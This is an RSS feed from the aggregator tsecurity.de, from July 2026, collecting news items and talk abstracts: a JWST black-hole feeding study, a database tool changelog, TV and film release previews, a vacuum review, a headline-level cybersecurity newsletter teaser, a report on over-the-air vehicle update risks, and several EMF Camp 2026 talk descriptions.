<description><![CDATA["Thanks to the James Webb Space Telescope, astronomers have been given a glimpse of the mechanisms that supermassive black holes use to feed themselves," reports Space.com:

The powerful cosmic titans get really puzzling when astronomers using the JWST spot them before the universe was even 1 bil...]]></description>
<link>https://tsecurity.de/de/3679885/it-security-nachrichten/james-webb-space-telescope-discovers-how-black-holes-feed-themselves/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679885/it-security-nachrichten/james-webb-space-telescope-discovers-how-black-holes-feed-themselves/</guid>
<pubDate>Sun, 19 Jul 2026 21:23:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Thanks to the James Webb Space Telescope, astronomers have been given a glimpse of the mechanisms that supermassive black holes use to feed themselves," reports Space.com:

The powerful cosmic titans get really puzzling when astronomers using the JWST spot them before the universe was even 1 billion years old. That's because the mechanisms by which black holes devour matter to grow and then merge to create even more massive black holes should take at least 1 billion years to achieve supermassive status. This is even more confusing because theories also say the most ravenously feeding black holes (and thus the fastest growing) should also push the matter they use for this growth away, in effect putting themselves on a diet. So, with all this in mind, how did supermassive black holes grow so rapidly in the early universe? 
One explanation suggests supermassive black holes push away gas, starving themselves as predicted, but also that this matter eventually cools and falls back to the black hole. That would allow for another period of feeding and thus growth. This explanation further suggests that as this gas cools down, it forms "streamers," or filaments, of gas just a few hundred light-years wide but which stretch thousands of light-years long. These would fall back to the center of the galaxy and form a swirling disk around its incumbent black hole, once again feeding it and triggering a new period of growth. This would then restart the jets from the black hole, which would again cut off the cosmic titan's food supply, allowing the whole process to begin once more. The process would in essence be a self-regulating cycle of feasting followed by fasting. However, the connection between these filaments and supermassive black holes has been elusive, meaning this mechanism has resisted confirmation. 

To solve the mystery of feasting black holes, the JWST turned its attention to a relatively close AGN situated at the heart of the central galaxy of the Centaurus Cluster, NGC 4696, located just 145 million light-years from Earth. The Hubble Space Telescope previously studied this galaxy, uncovering a strange, hook-shaped swirl of gas near the central supermassive black hole of NGC 4696. The JWST followed up this discovery by producing a detailed map of gas flowing at the heart of the galaxy. This revealed the hook-shaped feature is around 800 light-years wide and is composed of gas moving at incredible speeds of around 1.3 million miles per hour (600 kilometers per second).
More excitingly, the swirl of gas appears to be connected to a vast filament of material falling in toward the central supermassive black hole. 
The team tested the JWST observations against a computer simulation, finding gas in the infalling filament scenario would indeed take a shape similar to that seen in NGC 4696.
"JWST is now showing us the final link of this closed loop," team member Helen Russell of the School of Physics and Astronomy at the University of Nottingham in the U.K. said in the statement. "The vast filamentary network of gas flows ultimately funnels gas down to a disk that fuels the black hole." 

The team's research was published on Wednesday (July 16) in the Astrophysical Journal Letters.
 

"We are finally seeing this self-sustaining cycle in action," team leader Julie Hlavacek-Larrondo of the Université de Montréal said in a statement.<p></p><div class="share_submission">
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</div><p><a href="https://science.slashdot.org/story/26/07/19/191239/james-webb-space-telescope-discovers-how-black-holes-feed-themselves?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<item>
<title><![CDATA[26.1.3]]></title>
<description><![CDATA[- AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the defa...]]></description>
<link>https://tsecurity.de/de/3679833/downloads/2613/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679833/downloads/2613/</guid>
<pubDate>Sun, 19 Jul 2026 20:16:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)'><pre class="notranslate"><code>            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)
</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Agent Kim Reactivated’ Episode 9 Release Date and What to Expect]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 9 will release on Friday, July 24, 2026, as Kim Do-hyeon enters the final stage of his dangerous mission.



The upcoming episode will continue directly after Episode 8’s cliffhanger, which placed Do-hyeon and General Ri in a difficult position. With only two regular...]]></description>
<link>https://tsecurity.de/de/3679678/ios-mac-os/agent-kim-reactivated-episode-9-release-date-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679678/ios-mac-os/agent-kim-reactivated-episode-9-release-date-and-what-to-expect/</guid>
<pubDate>Sun, 19 Jul 2026 17:24:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 9 will release on Friday, July 24, 2026, as Kim Do-hyeon enters the final stage of his dangerous mission.



The upcoming episode will continue directly after Episode 8’s cliffhanger, which placed Do-hyeon and General Ri in a difficult position. With only two regular episodes remaining, the story is moving toward its final rescue mission and confrontation.



Agent Kim Reactivated Episode 9 release details




Episode 9 release date: Friday, July 24, 2026



Episode 10 release date: Saturday, July 25, 2026



Broadcast time: 9:50 p.m. KST



Network: SBS



Streaming platform: Netflix



Genre: Action, thriller, drama and comedy



Total regular episodes: 10



Based on: The Manager Kim webtoon




The series releases two episodes every week on Friday and Saturday. Episode 9 begins the final weekend, while Episode 10 will conclude the main story.



What happened before Episode 9?



Spoilers ahead for Episodes 7 and 8.



Kim Do-hyeon finally rescued his daughter, Min-ji, after facing the people responsible for her kidnapping. He also confronted Ju Gang-chan, who tried to convince him to join his side by promising money and protection.



Do-hyeon defeated Gang-chan but stopped before killing him after Min-ji intervened. He later shared an emotional farewell with his daughter and surrendered to the agency, believing that she would remain safe.



The agency then gave him one final mission. Do-hyeon must protect General Ri, a high-ranking North Korean defector connected to his past. Successful completion of the mission would allow Do-hyeon and Min-ji to receive new identities and begin a safer life.



However, Gang-chan exposed General Ri’s location to North Korean officials. Episode 8 ended when Mole Cricket arrived at Park Jin-cheol’s hideout and announced that Do-hyeon had failed. He also ordered General Ri’s return to North Korea.



What to expect from Agent Kim Reactivated Episode 9



The Episode 9 preview suggests that Do-hyeon and General Ri will be taken toward North Korea, where General Ri faces interrogation. Do-hyeon will need to find another escape route while protecting the man he was ordered to save.



Park Jin-cheol and Seong Han-soo are also expected to return for the counterattack. Their friendship with Do-hyeon has become an important part of the series, especially as the former agents work together against stronger government and criminal forces.



The preview also hints at another meeting between Do-hyeon and Ju Gang-chan. Do-hyeon appears ready to offer Gang-chan a deal, although trusting him remains dangerous after his repeated attacks against Min-ji and General Ri.



Episode 9 should include gunfights, escape attempts and a high-risk rescue operation as Do-hyeon tries to complete his mission. Gang-chan’s warning that their children will suffer if anyone harms him also raises the possibility that Min-ji could face another threat before the finale.



The story is heading toward a final family reunion



Agent Kim Reactivated began with Do-hyeon leaving his quiet life behind after Min-ji disappeared. Since then, the series has revealed his background as a former black-ops agent and the sacrifices he made to become an ordinary father.



Episode 9 will bring those two sides of his life together. Do-hyeon must survive one final mission before he can return to Min-ji, while his enemies continue using his family as pressure against him.



Do you think Do-hyeon will complete his mission and reunite with Min-ji, or will Ju Gang-chan create one final problem? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Weekly Cyber Security Newsletter Bulletin – EY Breach, Wpzshell Exploit, Notepad++ Flaws +20 Stories]]></title>
<description><![CDATA[This week’s cybersecurity situation shows a clear reality: every part of technology, from identity systems to common productivity tools, can be hacked or compromised. Microsoft’s July Patch Tuesday alone addressed roughly 570 vulnerabilities, including two zero-days already being exploited in the...]]></description>
<link>https://tsecurity.de/de/3679675/it-security-nachrichten/weekly-cyber-security-newsletter-bulletin-ey-breach-wpzshell-exploit-notepad-flaws-20-stories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679675/it-security-nachrichten/weekly-cyber-security-newsletter-bulletin-ey-breach-wpzshell-exploit-notepad-flaws-20-stories/</guid>
<pubDate>Sun, 19 Jul 2026 17:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This week’s cybersecurity situation shows a clear reality: every part of technology, from identity systems to common productivity tools, can be hacked or compromised. Microsoft’s July Patch Tuesday alone addressed roughly 570 vulnerabilities, including two zero-days already being exploited in the wild against SharePoint Server and Active Directory Federation Services, signaling that attackers are moving […]</p>
<p>The post <a href="https://cybersecuritynews.com/weekly-cyber-security-newsletter-bulletin/">Weekly Cyber Security Newsletter Bulletin – EY Breach, Wpzshell Exploit, Notepad++ Flaws +20 Stories</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Mum, can I play Roblox? Navigating online gaming safety for parents and caregivers (emf2026)]]></title>
<description><![CDATA[Unlike most adults, I play videogames professionally with children online all day, every day. I play the games children love, such as Roblox and Fortnite, many of which parents are not interested in - either giving their children total freedom with them or banning them entirely. I will immerse ad...]]></description>
<link>https://tsecurity.de/de/3679580/it-security-video/mum-can-i-play-roblox-navigating-online-gaming-safety-for-parents-and-caregivers-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679580/it-security-video/mum-can-i-play-roblox-navigating-online-gaming-safety-for-parents-and-caregivers-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 16:16:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unlike most adults, I play videogames professionally with children online all day, every day. I play the games children love, such as Roblox and Fortnite, many of which parents are not interested in - either giving their children total freedom with them or banning them entirely. I will immerse adults in my world for 30 minutes and give them confidence in navigating parenting in this modern age.

In this talk I will help caregivers to feel more confident in setting boundaries and limits for their child’s online gaming, by explaining the main sources of harm in some popular platforms. I give tips on how to discuss boundaries with children (especially when 'everyone in my class plays it!'), as well as describe ways I have seen children get around restrictions.

I will share the games I will and will not let my own children play - and you may be surprised as to why. I will describe how I try to keep them as safe as possible online, while maintaining friendships.

Young people are very welcome to attend alongside their caregivers to spark the discussion moving forward. Caregivers should be aware that there is talk of the harms in online gaming, but that these are sensitively covered.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/159-mum-can-i-play-roblox-navigating-online-gaming-safety]]></content:encoded>
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<item>
<title><![CDATA[Killing the astrophysical chameleon (emf2026)]]></title>
<description><![CDATA[Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of...]]></description>
<link>https://tsecurity.de/de/3679483/it-security-video/killing-the-astrophysical-chameleon-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679483/it-security-video/killing-the-astrophysical-chameleon-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:48:30 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of my PhD research, I used lasers to trap and cool atoms to use as tiny sensors to search for new physics, including searching for evidence of a specific dark energy candidate, the chameleon field. In this talk I will give an overview of the physics behind dark energy and my experiment, explain how atomic physics experiments have applications across all sorts of fields, and why even though I ended up measuring zero, that’s still moving science forward. 

Note: no actual chameleons were harmed in the making of this talk.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/246-killing-the-astrophysical-chameleon]]></content:encoded>
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<item>
<title><![CDATA[When Will The Odyssey Be on Netflix? Expected Streaming Release Date]]></title>
<description><![CDATA[Christopher Nolan’s The Odyssey opened in theaters worldwide on July 17, 2026, but Netflix subscribers will probably wait until summer 2027 before the movie becomes available to stream in the United States.



Universal Pictures now follows a new streaming arrangement for its live-action movies, ...]]></description>
<link>https://tsecurity.de/de/3679476/ios-mac-os/when-will-the-odyssey-be-on-netflix-expected-streaming-release-date/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679476/ios-mac-os/when-will-the-odyssey-be-on-netflix-expected-streaming-release-date/</guid>
<pubDate>Sun, 19 Jul 2026 14:36:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Christopher Nolan’s The Odyssey opened in theaters worldwide on July 17, 2026, but Netflix subscribers will probably wait until summer 2027 before the movie becomes available to stream in the United States.



Universal Pictures now follows a new streaming arrangement for its live-action movies, which places Netflix inside the first major paid streaming window after Peacock. The agreement started in 2026 and covers large theatrical releases such as The Odyssey.



The film stars Matt Damon as Odysseus and follows his long journey home after the Trojan War. Tom Holland, Anne Hathaway, Robert Pattinson, Lupita Nyong’o, Zendaya, and Charlize Theron also appear in the cast, while Nolan filmed the production entirely with IMAX cameras.



The Odyssey Netflix release date prediction



Universal usually keeps its major movies in theaters before moving them through a fixed streaming schedule. However, a strong box office run can delay each stage, especially when a movie continues earning well for several months.



The expected release timeline currently looks like this:




Theatrical release: July 17, 2026



Estimated Peacock release: February or March 2027



Estimated Netflix release: June or July 2027



Later Peacock return: After the Netflix window ends




The Odyssey may follow a longer theatrical path because Nolan’s previous Universal film, Oppenheimer, stayed away from streaming for around seven months after its cinema release. Universal may use a similar strategy if The Odyssey performs strongly worldwide.



When will The Odyssey stream internationally?



Netflix availability outside the United States will depend on local agreements with Universal Pictures. Some parts of Central Europe and Latin America may receive the movie in late 2027, while viewers in the UK and Canada may wait until the middle or second half of 2028.



Other regions may face an even longer delay, so digital rental and purchase platforms will probably offer the fastest home-viewing option before the movie reaches Netflix.



For now, June or July 2027 remains the most realistic estimate for The Odyssey to arrive on Netflix in the United States.




https://youtu.be/AyIZ9tiiN8I?si=HgZHB36z1FdHkUaq]]></content:encoded>
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<title><![CDATA[Corded vacuums are supposed to be outdated – so why is the Shark Detect Lift-Away XL so good?]]></title>
<description><![CDATA[Surprisingly easy to manoeuvre and skilled at cleaning carpet and hard floor, Shark’s upright bagless model is one of the best corded vacuums I’ve tested• The best vacuum cleanersCorded vacuum cleaners aren’t as glamorous as their cordless cousins, but swapping battery power for a plug socket has...]]></description>
<link>https://tsecurity.de/de/3679448/it-nachrichten/corded-vacuums-are-supposed-to-be-outdated-so-why-is-the-shark-detect-lift-away-xl-so-good/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679448/it-nachrichten/corded-vacuums-are-supposed-to-be-outdated-so-why-is-the-shark-detect-lift-away-xl-so-good/</guid>
<pubDate>Sun, 19 Jul 2026 14:17:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Surprisingly easy to manoeuvre and skilled at cleaning carpet and hard floor, Shark’s upright bagless model is one of the best corded vacuums I’ve tested</p><p>• <a href="https://www.theguardian.com/thefilter/2026/feb/13/best-vacuum-cleaners-uk-tested"><strong>The best vacuum cleaners</strong></a></p><p>Corded <a href="https://www.theguardian.com/thefilter/2026/feb/13/best-vacuum-cleaners-uk-tested">vacuum cleaners</a> aren’t as glamorous as their cordless cousins, but swapping battery power for a plug socket has its advantages. The device will never be short of power, so it can keep cleaning for as long as you need it to. Prices also tend to be lower because there’s no expensive battery to factor into the cost.</p><p>On the downside, there’s a cable to manage while you clean, and even the longest cords usually need to be switched from one plug socket to another if your home is any larger than a small flat.</p> <a href="https://www.theguardian.com/thefilter/2026/jul/19/shark-detect-xl-lift-away-car-pet-expert-review-tested-uk">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Are There Cybersecurity Risks in Over-the-Air Tech Used in Autos?]]></title>
<description><![CDATA[CNBC reports:


The automotive industry's increasing use of over-the-air technology to update vehicle systems makes it more susceptible to cyberattacks, analysts say, urging more intervention in the sector... Its use represents "a unique national security concern," Gabriel Lim, senior analyst at ...]]></description>
<link>https://tsecurity.de/de/3679418/it-security-nachrichten/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679418/it-security-nachrichten/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos/</guid>
<pubDate>Sun, 19 Jul 2026 13:52:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CNBC reports:


The automotive industry's increasing use of over-the-air technology to update vehicle systems makes it more susceptible to cyberattacks, analysts say, urging more intervention in the sector... Its use represents "a unique national security concern," Gabriel Lim, senior analyst at the S. Rajaratnam School of International Studies in Singapore, told CNBC. "Aside from data privacy concerns, the potential of a foreign actor sabotaging the controls of a moving vehicle is a possibility that countries like Norway, Denmark, and Britain have expressed concerns about," Lim added. 

In May, the American Enterprise Institute warned that safeguarding the automotive sector was crucial to limit foreign governments' espionage capabilities. "To protect against foreign espionage threats, the US should consider additional security reviews, implement restrictions on certain foreign-made hardware and software in vehicles, and mandate increased data-collection disclosures," the report said. The concerns come as real-life tests reveal vulnerabilities. Late last year, Norwegian bus company Ruter conducted tests on two buses and found that one had potential risks linked to OTA technology. "There is access to the control system for battery and power supply via mobile network through a Romanian SIM card. In theory, therefore, this bus can be stopped or rendered inoperable by the manufacturer," the company said. The investigation by Ruter then sparked the U.K. and Denmark to conduct their own investigations... 

While these investigations were conducted on buses made by Chinese firm Yutong, [Siraj Ahmed Shaikh, systems security professor at the UK's Swansea University] said the issue goes beyond one manufacturer or country, as the technology becomes more pervasive. "Other sectors adopting OTA include other transport modes [such as] maritime and rail, aerospace (particularly drones), industrial machinery and robotics," he said.
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</div><p><a href="https://tech.slashdot.org/story/26/07/19/046258/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Killing the astrophysical chameleon (emf2026)]]></title>
<description><![CDATA[Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of...]]></description>
<link>https://tsecurity.de/de/3679391/it-security-video/killing-the-astrophysical-chameleon-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679391/it-security-video/killing-the-astrophysical-chameleon-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:17:56 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of my PhD research, I used lasers to trap and cool atoms to use as tiny sensors to search for new physics, including searching for evidence of a specific dark energy candidate, the chameleon field. In this talk I will give an overview of the physics behind dark energy and my experiment, explain how atomic physics experiments have applications across all sorts of fields, and why even though I ended up measuring zero, that’s still moving science forward. 

Note: no actual chameleons were harmed in the making of this talk.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/246-killing-the-astrophysical-chameleon]]></content:encoded>
</item>
<item>
<title><![CDATA[Using the railway network as a flatbed scanner (emf2026)]]></title>
<description><![CDATA[I've been taking extremely wide photos by pointing an industrial linear camera out the window of a moving train and stitching together the several thousand lines captured per second after the fact.
I'll talk about the pains of measuring the speed and collecting each line fast enough to produce a ...]]></description>
<link>https://tsecurity.de/de/3679257/it-security-video/using-the-railway-network-as-a-flatbed-scanner-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679257/it-security-video/using-the-railway-network-as-a-flatbed-scanner-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 11:48:17 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I've been taking extremely wide photos by pointing an industrial linear camera out the window of a moving train and stitching together the several thousand lines captured per second after the fact.
I'll talk about the pains of measuring the speed and collecting each line fast enough to produce a coherent image, as well as the problems of processing and displaying such wide images.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/74-using-the-railway-network-as-a-flatbed-scanner]]></content:encoded>
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<item>
<title><![CDATA[A short history of arcades and arcade machines (emf2026)]]></title>
<description><![CDATA[Arcade machines have a rich history, at times at the forefront of technology, and often the most bizarre machines. Machines that delivered electric shocks (supposedly therapeutic) and working automata models of executions or hen pecked husbands (titled ‘Is Marriage worth it’). The first seaside a...]]></description>
<link>https://tsecurity.de/de/3678578/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678578/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 00:47:56 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Arcade machines have a rich history, at times at the forefront of technology, and often the most bizarre machines. Machines that delivered electric shocks (supposedly therapeutic) and working automata models of executions or hen pecked husbands (titled ‘Is Marriage worth it’). The first seaside arcade opened in Blackpool in 1894, under the newly built tower. The machines were all clockwork automata scenes, with an attendant constantly rewinding them. Arcades became widespread after the craze for Edison’s Kinetoscope, the predecessor of  ‘What the Butler Saw’ machines. Kinetoscopes were a sensation – the first time anyone had seen moving images of any sort, so ‘Kinetoscope parlours’ sprang up in every city centre. Once cinemas got established the craze faded and the parlours diversified –  adding fortune tellers, ball runs, shooting games and of course one armed bandits. The arrival of computer games in the 1980s shook everything up. At first very popular in arcades but soon eclipsed by cheaper to play home computer games. Most city centre arcades have since closed, though many seaside arcades survive with ‘redemption’ machines. These spit out tickets when you win. Before leaving you take all your tickets to the desk to ‘redeem’ a prize.   
The talk will be illustrated by photos and videos of the old machines and also some of Tim’s own arcade machines influenced by their history.  

Tim has made over 40 arcade machines and now runs two arcades. The talk will include some of Tim’s machines that were particularly inspired by the history.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/127-a-short-history-of-arcades-and-arcade-machines]]></content:encoded>
</item>
<item>
<title><![CDATA[A short history of arcades and arcade machines (emf2026)]]></title>
<description><![CDATA[Arcade machines have a rich history, at times at the forefront of technology, and often the most bizarre machines. Machines that delivered electric shocks (supposedly therapeutic) and working automata models of executions or hen pecked husbands (titled ‘Is Marriage worth it’). The first seaside a...]]></description>
<link>https://tsecurity.de/de/3678571/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678571/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 00:32:39 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Arcade machines have a rich history, at times at the forefront of technology, and often the most bizarre machines. Machines that delivered electric shocks (supposedly therapeutic) and working automata models of executions or hen pecked husbands (titled ‘Is Marriage worth it’). The first seaside arcade opened in Blackpool in 1894, under the newly built tower. The machines were all clockwork automata scenes, with an attendant constantly rewinding them. Arcades became widespread after the craze for Edison’s Kinetoscope, the predecessor of  ‘What the Butler Saw’ machines. Kinetoscopes were a sensation – the first time anyone had seen moving images of any sort, so ‘Kinetoscope parlours’ sprang up in every city centre. Once cinemas got established the craze faded and the parlours diversified –  adding fortune tellers, ball runs, shooting games and of course one armed bandits. The arrival of computer games in the 1980s shook everything up. At first very popular in arcades but soon eclipsed by cheaper to play home computer games. Most city centre arcades have since closed, though many seaside arcades survive with ‘redemption’ machines. These spit out tickets when you win. Before leaving you take all your tickets to the desk to ‘redeem’ a prize.   
The talk will be illustrated by photos and videos of the old machines and also some of Tim’s own arcade machines influenced by their history.  

Tim has made over 40 arcade machines and now runs two arcades. The talk will include some of Tim’s machines that were particularly inspired by the history.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/127-a-short-history-of-arcades-and-arcade-machines]]></content:encoded>
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<item>
<title><![CDATA[Store, Carry, Forward: The Networking Genius of Pigeons (emf2026)]]></title>
<description><![CDATA[Pigeons - what are they good for? Quite a lot, actually. 

In this talk, we'll be winging it together as we look at the history of moving information around via feathernet connection, homing in on how pigeons work, and (bird)seeding ideas for why we might still need pigeon post in future. 

On ou...]]></description>
<link>https://tsecurity.de/de/3678339/it-security-video/store-carry-forward-the-networking-genius-of-pigeons-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678339/it-security-video/store-carry-forward-the-networking-genius-of-pigeons-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:48:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Pigeons - what are they good for? Quite a lot, actually. 

In this talk, we'll be winging it together as we look at the history of moving information around via feathernet connection, homing in on how pigeons work, and (bird)seeding ideas for why we might still need pigeon post in future. 

On our journey, we’ll look at…
- heroic pigeons of the past and the people who fancied them
- how pigeons work, and why this makes them useful
- how pigeons compare to the internet, including ‘IP over Avian Carrier'
- how to stop your data being eaten by a hawk

And there'll probably be puns.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/223-store-carry-forward-the-networking-genius-of-pigeons]]></content:encoded>
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<item>
<title><![CDATA[Store, Carry, Forward: The Networking Genius of Pigeons (emf2026)]]></title>
<description><![CDATA[Pigeons - what are they good for? Quite a lot, actually. 

In this talk, we'll be winging it together as we look at the history of moving information around via feathernet connection, homing in on how pigeons work, and (bird)seeding ideas for why we might still need pigeon post in future. 

On ou...]]></description>
<link>https://tsecurity.de/de/3678303/it-security-video/store-carry-forward-the-networking-genius-of-pigeons-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678303/it-security-video/store-carry-forward-the-networking-genius-of-pigeons-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:10:03 +0200</pubDate>
<category>🎥 IT Security Video</category>
